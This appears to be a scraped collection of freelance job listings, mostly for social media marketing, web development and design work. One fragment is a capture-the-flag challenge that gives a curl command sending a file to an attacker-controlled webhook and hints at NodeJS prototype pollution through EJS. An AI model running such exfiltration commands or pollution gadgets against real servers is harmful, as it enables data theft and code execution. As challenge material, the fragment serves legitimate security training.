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I'm looking for a Filipina social media expert to create engaging and inspiring content for women aged 40 and over. Your main tasks will be to create 2 different posts every Monday, Wednesday, and Friday, and post them 3 times per week across Facebook, Instagram, Twitter, and LinkedIn. In addition to this, you will also need to actively engage with our audience, liking, commenting, and responding. Key Requirements: - Social Media Savvy: Proficient in using Facebook, Instagram, Twitter and LinkedIn, with a good understanding of what makes content engaging on each platform. - Content Creation: Ability to create original, inspirational quotes, educational tips, success stories, and motivational posts. - Design Skills: Familiarity with tools like Canva or similar apps to cr...

I'm looking for a skilled developer who can create a basic informational web application. This should be designed with React and JavaScript and will need to connect with an API. Key Requirements: - The application must have a clean and user-friendly interface - It should contain necessary information in an organized manner - The use of React and JavaScript is a must - It should be designed for a quick development turnaround ideally ASAP This project primarily involves the design and development of the web application. The goal is to create a simple, fast, and fully functional application that serves as an informational platform. Ideal Skills and Experience: - Proficiency in React and JavaScript - Experience in designing and developing simple web applications - Previous work ...

Hello, I want someone to work with me in the field of games. I create video game content on YouTube and Facebook. All I need is a Pakistani person to work with me. I have a very sweet offer for this work. For further details contact me on WhatsApp: +201003499514

I'm in need of a graphic designer to help me with my project. Unfortunately, I didn't specify the exact nature of the design in the initial form, but I'm sure we can get on the same page once we connect. Feel free to show me previous work you've done. Thank you.

...target audience. You as a digital marketer, you must be able to implement advertising campaigns based on the data analysis that we provided to you. You as a digital marketer, you must be able to implement advertising campaigns on Facebook, Instagram, Snapchat, TikTok, and Twitter. Ideal Skills and Experience: - You must have the ability to handle the data analysis that we will provide you to target the right target audience. - To have proven experience in marketing campaigns that rely on data analysis. - To have proven experience in paid advertising on Facebook Ads, Instagram Ads, Snapchat Ads, TikTok Ads, and Twitter Ads. - Ability to analyse and optimize campaign results based on our target audience data analysis. - An excellent understanding of how different socia...

I need a Flutter developer with extensive experience in building Android applications and integrating Firebase. I tried to connect the project with Firebase and admin panel, So, finally get the following screenshot errs.

I'm looking for a proficient social media specialist to manage accounts on Facebook, Instagram, and Twitter. The primary objective is to generate leads targeted to young adults between 18 - 24 years. Key Responsibilities: - Strategise and execute campaigns to engage and attract young adults - Measure and analyze the effectiveness of these strategies in lead generation - Maximizing online presence and audience engagement Skills and Experience: - Proven track record in lead generation via social media - Deep understanding of youth trends and interests - Expertise in Facebook, Instagram, and Twitter algorithms - Able to design captivating content that resonates with the young adult demographic - Strong analytical skills to assess campaign efficiency.

I am in need of a digital marketer with expertise in social media management, and content creation. Specifically, your focus will be primarily on Facebook, Instagram, and Google, LinkedIn. This campaign's primary objectives are: - Instagram - Increasing brand awareness - Lead generation - Driving website traffic The ideal candidate should have experience in these key areas and provide success stories on how they've achieved similar goals in the past. Innovative ideas and creative strategies are welcome. You should also be skilled in developing engaging content that resonates with our target audience and encourages interaction.

I'm looking for a skilled web developer to create a website for my B&B in Ravenna, Italy. The main purpose of the site is to promote my property. However, I also want it to seamlessly connect to my VRBO and Airbnb accounts. Key Requirements: - **Website Development**: The site should be visually appealing and user-friendly, with a focus on showcasing my B&B. - **Booking Integration**: I need an expert who can integrate my VRBO and Airbnb accounts with the site. This is crucial for managing bookings and ensuring a smooth user experience. Ideal Candidate: - Proven experience in web development, particularly in creating sites for the hospitality industry. - Familiarity with integrating booking platforms, such as VRBO and Airbnb. - Excellent communication skills to unde...

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I'm in need of a proficient individual who can help me connect my Instagram account with both a new/existing Facebook and TikTok account. - I'm not exactly sure if I have a Facebook or TikTok account set up, but I need someone who can seamlessly integrate all three platforms. - I'm primarily aiming to increase my brand awareness, so the platforms need to be integrated in a way that will help me achieve this goal efficiently. - The target audience for this project is adults aged 25-44. As such, the integration needs to be optimized for this demographic. Ideal Skills and Experience: - Proficiency in social media integration, particularly on Instagram, Facebook, and TikTok. - Proven track record of enhancing brand awareness through social medi...

Implement Mac Filtering to allow specific Mac addresses to connect to a Windows Server 2016 and Windows 10 via Remote Desktop Protocol (RDP). Disable Right Click functionality for RDP users. Restrict Copy-Paste functionality (Ctrl+C, Ctrl+V) for RDP users. Implement measures to disable file transfer capabilities for RDP users.

I'm in need of a professional who has extensive experience with SharePoint, Power Apps, Power Automate, and secondary Power BI . I need support for my consultant indian time 8:30 pm to 11:30 pm Monday to Friday. 12$/hourly.. payment every saturday vai peayplea. I already have other indian guys who are working with me since 2019 to present. This support will be ...professional who has extensive experience with SharePoint, Power Apps, Power Automate, and secondary Power BI . I need support for my consultant indian time 8:30 pm to 11:30 pm Monday to Friday. 12$/hourly.. payment every saturday vai peayplea. I already have other indian guys who are working with me since 2019 to present. This support will be on zoom meeting. Which we will provide u and u will connect with my consulta...

I'm currently in need of a social media manager to handle my Facebook, LinkedIn, and Instagram accounts. The role involves creating and publishing all posts. - The job requires daily posting: the expectation is to maintain a high level of consistency and engagement across all platforms. - I'm looking for a professional who can create visually appealing and engaging content. The posts will be primarily image-based. - The ideal candidate should be well-versed in social media engagement and understand how to leverage visual content to boost interaction and build a loyal follower base.

I'm looking to create a sports prediction website powered by AI and monetized, with minimal interventions needed. The site could be built on WordPress if you want, and I will provide the domain name, hosting, and logo. The website needs to display today's and future games, connect to preferred betting sites, analyze games, capture emails, and remind users to check today's games. I want to use the latest GPT technology or multiple AI models for predictions. The project should be affordable, and I expect detailed recommendations on implementation, including costs and timelines. Ongoing support will be required for updates and maintenance. Let's make this a fun and profitable venture together! Counting on you to build something that looks and works great. I need au...

I am an exporter in need of a proactive sourcing agent to help me establish connections with potential buyers in the United States, European Union, and UAE. My focus lies in the exportation of: - Basmati rice (1121) - Guar gum powder Both products are under the category of less than 100 metric tons export quantity. The responsibilities of the agent should include: - Ident...negotiation of pricing The ideal candidate should have: - Prior experience in sourcing and exporting goods, ideally within the specified regions. - Excellent communication and negotiation skills - An extensive network of contacts in the import industry - Knowledge about Basmati rice (1121) and guar gum powder will be a clear advantage If you have the necessary skills and experience, I would love to connect...

...conversion-tracking codes on my Shopify store. This includes ensuring that the product feed is optimized for platforms like Google Shopping, Facebook Catalog, Instagram Shopping, and Kelkoo. - Kelkoo Integration: Additionally, I need assistance in integrating my Shopify store with the Kelkoo comparison shopping platform. This will require a deep understanding of how these systems work together, as well as experience in this specific integration. The ideal candidate for this project should have: - Proven experience as a Shopify expert, with a particular focus on feed management and code implementation. - Prior experience with product feed platforms like Google Shopping, Facebook Catalog, and Instagram Shopping. - Specific experience in integrating Shopify with Kel...

Job Description: We are looking for a creative and skilled graphic designer to create 5 visually stunning banners for our Facebook carousel ads. This project requires someone who can design captivating, thought-provoking banners that are as engaging and graphically rich as the example provided. Responsibilities: Design 5 high-quality, graphic-rich banners for Facebook carousel ads. Ensure all designs are visually appealing and aligned with our brand identity. Deliver each banner tailored to the specifications of Facebook ad requirements. Requirements: Proven graphic design experience with a strong portfolio showcasing your abilities in creating high-quality digital advertisements. Expertise in graphic design tools such as Adobe Photoshop, Illustrator, or Canva. A...

...business, we currently utilize Facebook, TikTok, YouTube and Instagram as our primary social media platforms. I'm looking for a skilled and creative Social Media Manager to help us connect and engage with our audience. Key Responsibilities: - Plan and Create Video Content: We are particularly interested in video content for social media posts. This includes creating, editing, and posting engaging videos that align with our brand and drive audience interaction. - Daily Posting: I would like to have posts published on our social media platforms on a daily basis. This requires setting a consistent schedule and keeping our audience engaged with fresh, relevant content. Ideal Skills and Experience: - Proven experience managing social media accounts, especially Facebo...

I'm in need of a skilled content designer who can help in creating engaging social media content specifically for Facebook and LinkedIn. The main objectives for this content are to increase brand awareness, drive traffic to our website, and generate leads. Key responsibilities: - Designing and creating unique, engaging content for Facebook and LinkedIn - Ensuring that the content aligns with our brand identity and goals - Crafting posts that encourage audience engagement - Incorporating effective CTAs to drive traffic and generate leads Ideal skills and experience: - Proven experience in designing social media content, specifically for Facebook and LinkedIn - Strong understanding of content creation and strategy - Excellent writing skills with a creative flair -...

...managing and boosting visibility on Facebook, Instagram, and Twitter. This project shouldn't be a mere social media management job; I look forward to increasing brand awareness, generating leads, and driving substantial traffic to my website. Key Areas of Focus: - Brand Awareness: Through strategic campaigns, engage and attract our target audience's attention across varying age groups (Young adults: 18-24, Adults: 25-34, Middle-aged adults: 35-54). - Lead Generation: Create compelling content that generates valuable leads and conversions. - Web Traffic: Fortify initiatives that will straightforwardly funnel social media users to our website. Required Skills and Experience: - Proven track record in managing effective social media campaigns - Proficient in Facebook...

I am seeking expert app developers to create a multi-platform application - compatible with both iOS and Android, aimed to connect patients and doctors seamlessly. Key Functionalities: Patient Use: - Ability to book appointments - Access to check doctor's availability - Facilitate online consultations Doctor Use: - Efficiently manage appointments - Send notifications to patients - Gain access to patient medical records Ideal candidates should have a strong background in healthcare application development, expertise in both iOS and Android platforms, and a keen understanding of HIPAA compliance and medical data security. Proficiency in UX/UI for easy navigation for both patient and doctor interfaces is essential.

I'm seeking a proficient Social Media Manager to efficiently handle my Facebook and Instagram accounts as well as Google ad campaigns. Primary tasks would include: - Creative content development - Ad campaign design and implementation - Thorough analytics tracking - Paid social media handling Importantly, the primary objective of this endeavor is lead generation. Therefore, I would appreciate someone with a proven track record in organic and paid lead generation. Experience in Google Ads and familiarity with the dynamics of Facebook and Instagram interfaces would give you a competitive edge over others.

I need a marketing freelancer from Morocco who can offer a comprehensive approach to enhance the online visibility of my brand. This role demands a well-rounded expert who can manage social media platforms, create engaging content, and devise a personalized marketing strategy. Key Responsibilities: - Social Media Management: I am seeking an expert who can handle Facebook, Instagram, Twitter, and Tik Tok platforms efficiently. You should be able to modulate the content based on the platform and align it with my company's brand image. - Content Creation: Your role will include creating compelling and engaging content that resonates with our target audience. The variety of content can range from informative blog posts to captivating social media posts. - Marketing Strategy: I...

I'm on the lookout for an experienced and versatile online marketer to manage my social media platforms and create engaging content. I'm hoping to target adults between the ages of 25 and 54. The platforms in focus will be Facebook, Instagram, Twitter, and Tiktok. The service scope includes: - Social Media Management: Keeping all platforms updated and engaging to retain existing followers while attracting new ones. - Content Creation: Crafting engaging content which resonates with my target demographic - SEO Optimization: Enhancing our online presence and search-ability Skills and Experience: Proven experience with these digital platforms, the ability to develop and execute a strategic marketing plan, and strong SEO understanding.

...my social media accounts and creating engaging content for my business. Key Responsibilities: - Social Media Management: The core of this position will be managing my Facebook, Instagram, and Google accounts. This includes creating and scheduling posts, monitoring engagement, and responding to comments/messages. - Content Creation: I need someone who can create compelling content for my digital marketing campaigns. This will involve creating posts across various platforms to engage with our audience and attract new customers. The Ideal Candidate: - Proficiency in managing various social media platforms, especially Facebook, Instagram, and Google. - Strong copywriting and content creation skills; experience with creating engaging content for marketing purposes. - Familia...

I need a virtual assistant well-versed in social media management. Your task will revolve around these selected platforms: Facebook, Instagram, Twitter, and Tumblr. Job responsibilities include: • Posting on social and doing RT on Twitter a day across all selected platforms. • Engaging with followers consistently to foster interaction and growth of the community. Ideal Skills and Experience: • Proven experience in managing multiple social media platforms. • Excellent communication skills for effective engagement with followers. Preference will be given to those with a keen understanding of effective social media strategies and an ability to maintain a consistent and appropriate brand voice.

Need support for react web applications i.e., small and medium enhancements to connect daily for 1 hour. Strong react basics including huge knowledge in CSS with Javascript and node js required.

I'm in need of an experienced ERP system developer to create a new, customized solution. While experience with Zoho Creator is not a strict requirement, it would be beneficial. The main goal of this project is to develop an ERP system that will handle inventory management and sales/order processing. We will need to connect for already created ERP system first. Key aspects of this project will include: - Developing a customized ERP solution from scratch - Implementing inventory management features - Integrating sales and order processing functionalities Ideal candidates should have: - Proven experience in developing ERP systems - Strong understanding of inventory management and sales/order processing - Proficiency in Zoho Creator (or any other ERP system if not Zoho Creator) ...

@psyk664?_t=8mRbRQW63k5&_r=1 Facebook / TikTok/ Instagram/ whasap / NOM: PSYK664 / JEAN-FRANCOIS PELLETIER Regarde mes page et statistiques que mon blog de 5 mois de naissance de millier de vue et interaction j'ai mes truc et je mantant très bien avec les allégorite des resaux socio? I'm in need of a skilled video editor who can help me bring my creative stories to life. I have some great ideas that I want to turn into engaging videos, and I need someone who can help me with this. Key requirements: - Proficient in video editing software - Ability to turn raw footage into a polished, engaging final product - Creative and able to bring fresh ideas to the table - Strong storytelling and narrative

...creating the terminal command you want to execute on the website: Visit to create a new webhook for receiving incoming web requests. Copy your unique URL from the webhook website and replace {webhook} in the following terminal command. This is the command that you want to execute on the website that will send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge go to hint 1: You can pollute NodeJS applications, Alex did a talk about it and the slides are available to read at where the important slides for this challenge are 17-53. hint2: The web application is using the EJS template engine for rendering templates. Alex talked about a Prototype Pollution gadget

I'm looking for a web developer with Laravel experience to redesign my bridal website. The chosen professional should enable the following in my new platform: 1. Online Appointment Booking: - I require an online booking system, however, it should not provide immediate confirmations. I'll oversee manual confirmation...planning their wedding. Ideal candidates will have previous experience in developing similar websites with Laravel and should provide examples of such work. You should have a fine eye for aesthetics and user-friendly designed interfaces. Lastly, a solid understanding of e-commerce functionalities, especially in fashion or bridal industries, will be highly appreciated. Pls connect with me if have good experience with Laravel web development end to end .

I'm in need of an experienced videographer specialized in promotional videos. The project focuses on engaging music fans, hence the need for someone who can create content that resonates with this audience. Key responsibilities: - Create an engaging promotional video suitable for social media platforms (TikTok, Facebook, Instagram, and YouTube). Ideal skills: - Understanding of what engages music fans - Experience in creating promotional videos - Proficiency in leveraging the features of each social media platform for maximum visibility and interaction - Creativity that incites interest Previous experience in music-related or event videography is a plus. Show me your portfolio and let your past projects speak for you. This could be the start of a long-term project if you c...

I need an experienced professional to connect my Unicorn 5.31 to an Akta machine and ensure it's functioning properly. Additionally, Fermworks needs to be activated and integrated to work with Labview to run a bioreactor. Key responsibilities: - Connect Unicorn 5.31 to Akta machine - Verify that the connection is functioning correctly - Ensure the automation process is smooth and operational - Provide any necessary troubleshooting or support post-implementation -Ensure Fermworks and Labview are activated properly and the connection is functioning correctly with the bioreactor. -No additional purchases of software. - Familiarity with VMware as a couple programs are located on these virtual machines. Ideal proposals should include: - Experience in connecting different...

I need a skilled Node.js developer to implement specific changes to my existing color prediction game. Key Requirements: - Modify the game logic: Primarily, I want to change the scoring system. This will require a deep understanding of how the game currently operates and how to adjust it effectively. The new scoring system should enhance user engagement and retention. - Connect APIs from other websites: I need to integrate external services into the game, which will require knowledge of API integration processes. This integration should be seamless and reliable, and will play a crucial role in the game's overall functionality. - Implement JWT token for user authentication - Basic error fixing: There are some minor issues in the existing code that need to be addressed. An att...

I'm in...social media specialist who can seamlessly transform an existing personal Facebook account into a business account. Key tasks will include: - Converting the current personal page to a professional business page - Ensure that the process does not result in the loss of existing content, followers, or any other critical account features Please note, the client didn't specify the implementation of specific business features or a strict timeline for project completion. Therefore, flexibility and understanding of core business Facebook functionality would be beneficial. Ideal skills and experience: - Comprehensive understanding of Facebook and its business tools - Prior experience in setting up or converting Facebook business accounts - Strong...

...business has been through a Facebook page that was unfortunately attached to the previous owner's personal account. As the new owner, I have access to this page and am able to post, yet, I am faced with a dilemma. I want to separate the business page from the previous owner's personal account on Facebook without losing its marketing history. Requirements in resolving this issue are: * Experience in Facebook's Business Manager and page setup. * Knowledge on how to change a personal Facebook account into a business one, if necessary. * Understanding on how to maintain the historical marketing data associated with the page. Note: I am interested in continuing using Facebook for marketing rather than creating a separate website. So, a strong ...

Hi João! I need revisions to the last Facebook profile banner you made for me. I want 2 versions: One with the same colours but just a few small changes Second one with inverted (opposite colours) or different colour scheme that will look good. For example I previously did White + Black when the main FB cover was Black & Yellow, think like a football team 2nd kit ;)

I am seeking an expert to develop a comprehensive marketing plan through Google Ads, Facebook and LinkedIn ads for a home loan aggregation company. The primary goal is to generate customer leads and Direct selling Agent leads in Hyderabad, Delhi, and Mumbai. Key Tasks: - Keyword research: Identify and suggest relevant keywords that are likely to drive customer leads. - Budget Allocation: Determine an effective budget per city in rupees for the Google Ads , Facebook and LinkedIn campaigns. - Targeting: Tailor the strategy specifically to these cities, ensuring maximum reach and impact. Ideal Skills and Experience: - Extensive experience in Google Ads, Facebook and LinkedIn for lead generation. - A strong understanding of the Indian market and its nuances, particula...

I'm looking for a PhoneGap plugin that will work on both Android and iOS to handle WebSocket connections and manage the receipt of notifications. We need a PhoneGap/Cordova plugin for both Android and iOS platforms that enables our mobile application to connect to a WebSocket server and handle notifications efficiently. The plugin must support the following functionalities: Key Features: 1. WebSocket Connection: - Establish a connection to a specified WebSocket server. - Maintain the connection and handle reconnections as necessary. 2. Receive Notifications: - Listen for incoming messages/notifications from the WebSocket server. - Process the incoming messages and trigger a push notification on the device. 3. Push Notifications: - Display push notifications...

As a TikTok Influencer Outreach Specialist, your main task will be to connect with influencers/KOLs on TikTok within the United States. Key Responsibilities: - Reach out to TikTok influencers with a follower count of over 5K - Encourage the influencers to accept a free premium product sample - Request the influencers to create video content around the said product Your role is pivotal in ensuring the success of our TikTok influencer promotion campaign. Ideal Skills and Experience: - Proven experience in influencer outreach on TikTok - Familiarity with the United States market and TikTok trends - Exceptional communication skills - Ability to close deals with influencers - Knowledge of how to negotiate and motivate influencers to create content Please note that w...

I'm currently seeking a professional who excels in SEO and Facebook advertising. The scope of the project is primarily to increase our website traffic, improve our search engine rankings, and boost our brand's awareness. The focus of this campaign will be directed towards local customers within the healthcare industry. Skills & Experience Required: -Proficient with SEO tools & techniques -Experience with Facebook ad campaigns -Understanding of the healthcare industry -Experience in targeting local markets -Strategy development and execution for increasing brand awareness -Familiar with performance tracking and analytics.

To integrate my Elmo alarm system with openHAB through bi-directional binding, I need a developer with openHAB and Elmo experience. The binding should be developed for E-connect, Elmo's cloud integration model. The features I'm after are: - Arm/Disarm functionality - Real-time status updates - Alarm event notifications - Sensing and sending sensor status to openHAB items. Anytime there's an event, status change, or a sensor goes on/off, I need the binding to provide immediate updates. Your skills in openHAB binding, Java, and IoT integrations will be essential for this project. The same project is just written in python for homeassistant

I need an experienced social media graphic designer to help me create 200 posts for LinkedIn, Facebook, and Instagram. These posts are intended to target the Saudi market and should focus on Saudi public holidays, patriotism, and similar themes. Key Responsibilities: - Develop 200 visually appealing and culturally relevant social media posts - Tailor content to suit LinkedIn, Facebook, and Instagram - Ensure all designs align with the Saudi market's interests and sensibilities Ideal Skills and Experience: - Proven track record in creating engaging social media graphics - Strong understanding of the Saudi market - Ability to work with themes like public holidays, patriotism, etc. - Proficiency in design tools and software - Excellent communication skills to understand ...

...goal is to automate the sharing of articles from my website to my business Facebook page. Key requirements: - Automate sharing: I want the programmer to ensure that whenever a new article is uploaded to my website, it's automatically shared to my business Facebook page. - Cora PHP programming: The ideal candidate should have experience with Cora PHP programming, specifically related to integrating website content with Facebook. - Facebook page sharing: The articles should be shared only on my business page, ensuring they reach my target audience. Your duties will include: - Developing the automation process: You'll be responsible for creating a seamless, automatic procedure that shares the articles to my business Facebook page as soon as th...

I'm in need of an expert in Facebook advertising. My intention is to sell a yoga fitness course designed for both men and women aged 20-50, who are job professionals. The hired freelancer should: - Have a deep understanding of Facebook ads targeting - Be able to write compelling ad copy to engage potential participants - Have experience in crafting high conversion ads specifically for fitness or health-related courses Ideal Skills: - Facebook Advertising - Copywriting - Marketing Strategy - Experience in fitness industry (preferably yoga) marketing. Looking forward to your proposals!

...needed -> simple ppt stuff 5. Maintain and update the status of various tasks with regular updates 6. Be able to present information clearly in English, not getting too bogged down by confusing details (clear communication) Expectations: 1. Self-driven and motivated to quickly achieve OUTCOMES. 2. Must be available from 6am MST to 11:30pm MST (mountain standard time) for calls - calls to connect will vary day by day. Must be very responsive via messages. 3. You will manage the workload on your own time, set your own hours outside of key meetings which you need to attend. 4. Meet and complete all tasks on time with a high degree of quality. 5. Develop a sense of urgency must respond to all messages / calls immediately. 6. Understands how to prioritize and multi-task...

I'm searching for an outstanding social media marketer who can focus on Facebook and Instagram for a lead generation campaign. Your main objective should be: - Generate leads I’d appreciate it if you have: - Demonstrated ability in creating effective social media strategies - Experience managing successful lead generation campaigns on Facebook and Instagram - Knowledge of how to target and engage the 26-35 age group If you have the right skills and experience, I would be happy to discuss the project further.

...in search of a skilled social media marketer who can use their expertise and experience to help generate leads for my business. Key Responsibilities: - Strategize, develop, and execute social media campaigns across Facebook, Instagram, and Twitter - Drive engagement with our target audience - Implement lead generation techniques to convert followers into potential leads - Track and measure the effectiveness of the campaigns to ensure they align with our lead generation goals Ideal Candidate: - Proven track record of lead generation through social media - Proficiency in Facebook, Instagram, and Twitter marketing - Understanding of various social media analytics tools - Strong communication and interpersonal skills - Creative thinker with the ability to develop innovative...